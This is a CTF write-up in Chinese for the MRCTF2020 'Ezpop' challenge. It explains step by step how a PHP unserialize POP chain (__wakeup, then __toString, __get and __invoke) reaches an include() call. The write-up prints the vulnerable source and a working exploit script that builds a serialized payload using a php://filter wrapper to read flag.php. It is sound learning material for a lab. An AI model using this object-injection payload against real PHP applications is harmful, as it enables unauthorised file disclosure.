[MRCTF2020]Ezpop
這道題考察pop鏈,題目中還給了教程,提示的很明顯,
第一次遇到這種題,雖說不是難題,但也沒個了解,查了下wp,
發現寫的都很難懂,解釋的很牽強(感覺都出自幾個大佬,所以寫的很簡)
索性我就自己摸索,搞了大半天終于明白了,遂在這里記錄一下,
先放原碼:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
下面按新手的步驟來,先分開解讀一下:
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
function append:很明顯的incloud包含漏洞,可以利用來讀flag
function __invoke():呼叫append讀取flag;invoke方法在 當一個物件被當做函式呼叫時,呼叫該方法,
思路:
讓var=php://filter/read=convert.base64-encode/resource=flag.php
?只要invoke被回呼就能讀取flag,只需讓一個物件被當作函式呼叫,
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
function __construct:通過file給source賦值;當一個物件被實體化(new)時回呼
function __toString():回傳str中的source;當一個物件被當做字串呼叫或輸出時回呼
function __wakeup():過濾;在但序列化時自動回呼
思路:
這三個方法看著沒什么聯系,但是卻因為先后關系能被鏈起來,如果讓file等于一個物件(實體化的class)
?那么在反序列化時呼叫的wakeup方法中,就會引起連鎖反應(正則匹配會把source當成字串)
?從而呼叫了tostring方法,回傳str中的source
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
function __construct():將變數p變成一個陣列;呼叫方法同前面
function __get():呼叫了一個函式,名字為function;訪問私有屬性或不存在的屬性時,自動回呼
思路:
提示的很明顯,在get方法中,function函式被呼叫
?所以只要function是個物件,就會呼叫class Modifier中的 function __invoke(),讀取flag
?要讓function為物件,只需要讓function __construct()中的$this->p = new Modifier();
?然后只需要 實體化class Test 且觸發__get()方法 即可獲得flag
?現在問題是,如何訪問一個私有或不存在的屬性觸發get?肯定是通過還沒使用的class show
?根據class show中的結果,return了一個str中的source,那么當str被賦值為一個實體化物件后
?只要該物件沒有source屬性,就可以觸發__get()方法,而剛好Test中沒有source,
?而且讓 str = new Test()還能順便實體化了Test類,同時滿足了倆條件
?至此,這一條鏈就連起來了!
總結一下思路:
? 通過 show 的 __wakeup(),呼叫__toString(),呼叫 test 的__get(),呼叫 Modifier 的__invoke()
寫代碼:
class Modifier {
protected $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}
class Show{
public $source;
public $str;
public function __construct($file){
$this->source = $file;
} //為了讓file成一個物件,而不是一個資料,要呼叫兩次
}
class Test{
public $p; //沒法直接讓p等于一個新的物件,需要通過方法來賦值
public function __construct(){
$this->p = new Modifier();
}
}
$a = new Show('fanqie'); //隨便賦值,為了讓file有值,否則會報錯警告
$a -> str = new Test(); //讓str等于一個類
$b = new Show($a); //再次呼叫,讓file賦值成一個物件,觸發__tostring(),開始pop鏈
echo urlencode(serialize($b)); //輸出編碼后的序列化字串,帶入payload就行
將得到的值通過get傳入,得到base64碼,解碼得到flag
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/293101.html
標籤:其他
上一篇:python 協程安全理解
